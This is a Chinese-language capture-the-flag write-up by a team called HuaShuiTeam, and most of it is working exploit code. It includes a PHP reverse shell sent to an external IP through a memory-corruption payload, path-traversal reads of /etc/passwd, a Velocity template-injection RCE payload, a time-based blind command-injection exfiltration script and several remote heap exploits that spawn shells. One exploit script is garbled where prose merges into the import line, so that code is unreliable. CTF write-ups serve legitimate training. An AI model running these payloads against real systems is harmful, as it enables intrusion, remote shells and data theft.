HuaShuiTeam-WP

WEB

gamebox

一看就是webpwn，可以任意文件读，在/proc/self/fd/15中发现php.ini找到so路径，用任意文件读下载so，看到gamebox接口可以越界读写和leak，直接修改返回地址构造payload即可反弹shell后需要/readflag，直接利用trick：trap ”” 14 && /readflag 即可

```
import requests as r
from pwn import *
import urllib

k="http://122.112.218.163:10080/"
url=k+"?f=/proc/self/maps"
s=r.get(url)
print s.content
text=s.content.split("\n")
ans=""
for i in text:
    if "libc-2.28" in i:
          ans=i
          print ans
          break
addr=int(ans[:12],16)
print hex(addr)
#print \x2e
#add \x3e
#mov d   \x2c
cmd2="php -r '$sock=fsockopen(\"139.199.203.253\",1234);exec(\"/bin/bash -i <&3 >&3 2>&3\");'\x00"
cmd=p64(addr+0x002456d)+p64(0x7ffe5e8e8258+0x20)+p64(0)+p64(addr+0x449c0)+cmd2
#cmd=p64(addr+0x221a3)+p64(0x7fffffffc128+0x20)+p64(0)+p64(addr+0x4f4e0)+cmd2
#cmd=""
payload="\x01"+"\x3e"*0x68+"\x2e"
for i in cmd:
    payload+="\x2c"+i+"\x3e"
payload=urllib.urlencode({"c":payload})
print hex(len(payload))
#payload=payload.replace("+"," ")
print payload.replace("%","\\x")
```

```
url=k+"?"+payload
print url
s=r.get(url)
print s.content
```

zblog

发现只有title一个输入点 测出任意文件读取
?title=../../../../../../../etc/passwd
然后找/proc/self/fd/3中去下载jar包，但是不知道为什么解不开。
在/proc/self/cmdline中发现/home/ctf/web/target/web-1.0-SNAPSHOT-jar-with-dependencies.jar
明显是在题目环境中编译的jar，虽然直接读不到但是可以根据路径去读java代码。找到/home/ctf/web/src/main/java/Blog.java 发现可以写入文件然后velocity模板注入rce。
payload：

```
/?title=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('cat /tmp/lfy'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
# 然后加载模板即可
/?title=../../../../../../../tmp/node01ri6x2i6o0f1bcqpjch3r37h67025
```

easyseed

index.bak 源码泄露
参考https://wonderkun.cc/2017/03/16/
php的随机数的安全性分析/
直接改一下exp 生成php_mt_seed的爆破形式

```
<?php
$str = "vEUHaY";
$randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";
for($i=0;$i<strlen($str);$i++){
    $pos = strpos($randStr,$str[$i]);
    echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
    //整理成方便 php_mt_seed 测试的格式
   //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
```

然后爆出来两个种子，使用718225即可获得正确的key。

```
mt_srand(718225);
$lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
echo $lock;
echo "<br>";
$key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
echo $key;
```

```
function random($length, $chars = '0123456789ABC') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}
```

注意还要加上\xff，这个太脑洞了，想了半天。

easyweb

timebase-rce网上找一个exp改一下就跑出来了。
https://icematcha.win/?p=532

```
#coding:utf-8
import requests
import sys
import base64
payloads = "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890="
def request(url,data ,timeout):
    try:
        res = requests.post(url=url,data=data, timeout = timeout)
    except:
        return True
def get_length(url, cmd, timeout):
    length = ''
    for i in xrange(1,10):
        data = {'cmd':'if [ $(%s|base32|wc -c|cut -c %s) =  ];then sleep 2;fi' % (cmd, i)}
        # print url1
        if request(url,data, timeout):
            llength = i
            break
    for i in xrange(1, llength):
        for _ in xrange(1, 10):
            data = {'cmd':'if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi'  % (cmd, i, _)}
            # print url1
            if request(url,data, timeout):
                length += str(_)
                print length
                break
    return length
def get_content(url, cmd, timeout, length):
    content = ''
    for i in xrange(1, int(length)+1):
        for payload in payloads:
            data ={'cmd': 'if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi'  % (cmd, i, payload)}
            if request(url,data, timeout):
                content += payload
                print content
                break
    return content
if __name__ == '__main__':
    length = get_length('http://119.3.37.185/index.php',sys.argv[1], 2.0)
    print "## The base32 of content's length is:%s" % length
    content = get_content('http://119.3.37.185/index.php', sys.argv[1], 2.0, length)
    print "## The base32 of content is:%s" % content
    print "## The commend result content is:%s" % base64.b32decode(content).strip()
```

PWN

block

程序有一次off by one的机会，可以利用overlap来uaf，leak libc之后通过unsorted bin attack在free_hook上方留下0x7f，然后可以fastbin attack修改free_hook为setcontext+53，利用里面的gadget执行read，最后执行输入的rop链读出flag
exp:

```
from pwn import *
context.log_level = 'debug'
prog = './block'
p = process(prog,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("libc-2.27.so")
p = remote("122.112.204.227",6666)
def add(typ,size,content='a'):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("Block's type: ", str(typ))
    p.sendlineafter("size: ", str(size))
    p.sendlineafter("content: ", content)
def show(idx):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("index: ", str(idx))
def edit(idx, content):
    p.sendlineafter(">> ", "4")
    p.sendlineafter("index: ", str(idx))
    p.sendlineafter("content: ", content)
def free(idx):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("index: ", str(idx))
def exp():
    for i in range(8):
        add(3, 0x1d0)
    for i in range(7):
        free(i)
    add(3, 0x68)#0
    add(3, 0xf8)#1
    add(3, 0x68)#2
    add(3, 0x68)#3
    add(3, 0x68,(p64(0)+p64(0x21))*8)#4
    edit(0,'a'*0x68+p64(0xe1))
    free(1)
    add(3, 0xf8)#4
    show(2)
    libc.address = u64(p.recvuntil("\x7f")[-6:]+'\x00'*2)-0x00007ffff7b83ca0+0x7ffff7798000
    log.info("libc.address ==> " + hex(libc.address))
    syscall_ret = libc.address + 0x00000000000d29d5
    frame = SigreturnFrame()
    frame.rdi = 0
    frame.rsi = (libc.symbols['__free_hook']) & 0xfffffffffffff000
    frame.rdx = 0x2000
    frame.rsp = (libc.symbols['__free_hook']) & 0xfffffffffffff000
    frame.rip = syscall_ret#: syscall; ret;
    payload = str(frame)
    pop_rdi = libc.address + 0x000000000002155f
    pop_rsi = libc.address + 0x0000000000023e8a
    pop_rdx =libc.address + 0x0000000000001b96
    pop_rax = libc.address + 0x0000000000043a78
    syscall = libc.address+ 0x00000000000bc375
    add(2, 0x300, payload)

    add(3, 0x68)#2(6)
    free(3)
    add(3, 0x68, 'a'*8+p64(libc.sym['__free_hook']-0x40))#6
    add(3, 0x68)#7
    free(2)
    free(4)
    free(6)
    add(3,0x68,p64(libc.sym['__free_hook']-51))
    add(3,0x68)
    add(3,0x68)
    add(3,0x68, '\x00'*3+p64(0)*4+p64(libc.sym['setcontext']+53))
    free(5)
    bss = libc.sym['__malloc_hook']+0x30
    payload = p64(pop_rdi)+p64(libc.address+4116632)+p64(pop_rsi)+p64(0)+p64(libc.sym['open'])
    payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['read'])
    payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['write'])
    payload += 'flag\x00'
    p.send(payload)
    p.interactive()
if __name__ == '__main__':
    exp()
```

---

fsplayground

利用/proc/self/maps来leak，然后写/proc/self/mem修改程序内存，写入shellcode即可get shell

```
from pwn import *
context.arch="amd64"
p= remote("119.3.111.133", 6666)
p.sendlineafter(": ","1")
p.sendafter(": ","/proc/self/maps")
p.sendlineafter(": ","0")
p.sendlineafter(": ","4")
p.sendlineafter(": ","100")
p.recvuntil(": ")
addr=int(p.recvuntil("-")[:-1],16)
print hex(addr)
p.sendlineafter(": ","2")
p.sendlineafter(": ","1")
p.sendafter(": ","/proc/self/mem")
p.sendlineafter(": ","1")
p.sendlineafter(": ","3")
p.sendlineafter(": ",str(addr+0xd57))
p.sendlineafter(": ","5")
p.sendlineafter(": ",str(len(asm(shellcraft.sh()))))
p.sendafter(": ",asm(shellcraft.sh()))
p.sendlineafter(": ","2")
p.interactive()
```

---

unknown

add可以数组负数越界，先申请堆块size=0，然后申请堆块到size数组里，即可堆溢出

```
from pwn import *
context.log_level = 'debug'
prog = './unknown'
p = process(prog)
libc = ELF("./libc-2.27.so")
p = remote("122.112.212.41", 6666)
def add(idx, size):
    p.sendlineafter("hoice: ", "1")
    p.sendlineafter("ndex: ", str(idx))
    p.sendlineafter("", str(size))

def show(idx):
    p.sendlineafter("hoice: ", "3")
    p.sendlineafter("Index: ", str(idx))
def edit(idx, content):
    p.sendlineafter("hoice: ", "2")
    p.sendlineafter("Index: ", str(idx))
    p.sendline(content)
def free(idx):
    p.sendlineafter("hoice: ", "4")
    p.sendlineafter("", str(idx))
def exp():
    for i in range(9):
        add(i, 0x80)
    for i in range(8):
        free(i)
    for i in range(8):
        add(i, 0x80)
    edit(7, 'a'*8)
    show(7)
    libc.address = u64(p.recvuntil("\x7f")[-6:]+'\x00'*2)-0x00007ffff7dcfc0a+0x7ffff79e4000
    add(9, 0)
    add(-7, 0x20)
    add(10, 0x20)
    free(10)
    edit(9, 'a'*0x40+p64(0)+p64(0x31)+p64(libc.sym['__free_hook']))
    add(11,0x20)
    add(12,0x20)
    edit(12,p64(libc.sym['system']))
    edit(11, '/bin/sh\x00')
    free(11)

    p.interactive()
if __name__ == '__main__':
    exp()

```

---

veryeasy

uaf，打io来leak，然后tcache attack修改free_hook

```
fr为systemom pwn import *
context.log_level = 'debug'
prog = './pwn'
elf = ELF(prog)
p = process(prog,env={"LD_PRELOAD":"./libc-2.27.so"})
```

```
def add(idx, size, content='a'):
    p.sendlineafter("hoice :", "1")
    p.sendlineafter("id:", str(idx))
    p.sendlineafter(" size:", str(size))
    p.sendlineafter("tent:", content)
def edit(idx, content):
    p.sendlineafter("hoice :", "2")
    p.sendlineafter("id:", str(idx))
    p.sendafter("tent:", content)
def free(idx):
    p.sendlineafter("hoice :", "3")
    p.sendlineafter("id:", str(idx))
while(1):
    try:
        global p
        p = remote("122.112.225.164", 10001)
        for i in range(9):
            add(i, 0x80)
        edit(0,'aa')
        for i in range(6):
            free(i)
        free(7)
        free(6)

        edit(7, '\xc0')
        edit(6,'\x60\xf7')

        add(9,0x80, '/bin/sh\x00')
        add(10,0x80)
        add(11,0x80)
        edit(11,p64(0xfbad1800)+p64(0)*3+'\x00')
        libc.address = u64(p.recvuntil("\x7f",timeout=0.1)[-6:]+'\x00'*2)-0x7ffff7dd18b0+0x7ffff79e4000
        log.info("libc.address ==> " + hex(libc.address))
        free(10)
        edit(10, p64(libc.sym['__free_hook']))
        add(12, 0x80)
        add(13, 0x80, p64(libc.sym['system']))
        free(9)

        p.interactive()
    except:
        p.close()
```

MISC

签到题

复制粘贴即可

whitespace

搜名字看到是一种编程语言
找一下online看到网站：https://vii5ard.github.io/whitespace/
复制粘贴运行即可得到flag

CRYPTO

confused_flag

每次nc都不一样，不是加密的感觉，直接不断nc找到flag（看一下跑出来的flag需要逗号都在末尾的那一个）

```
from pwn import *
for i in range(1000):
     p=remote("119.3.45.222",9999)
     s=p.recv()
     p.close()
     if s[:4]=="flag":
            print s
```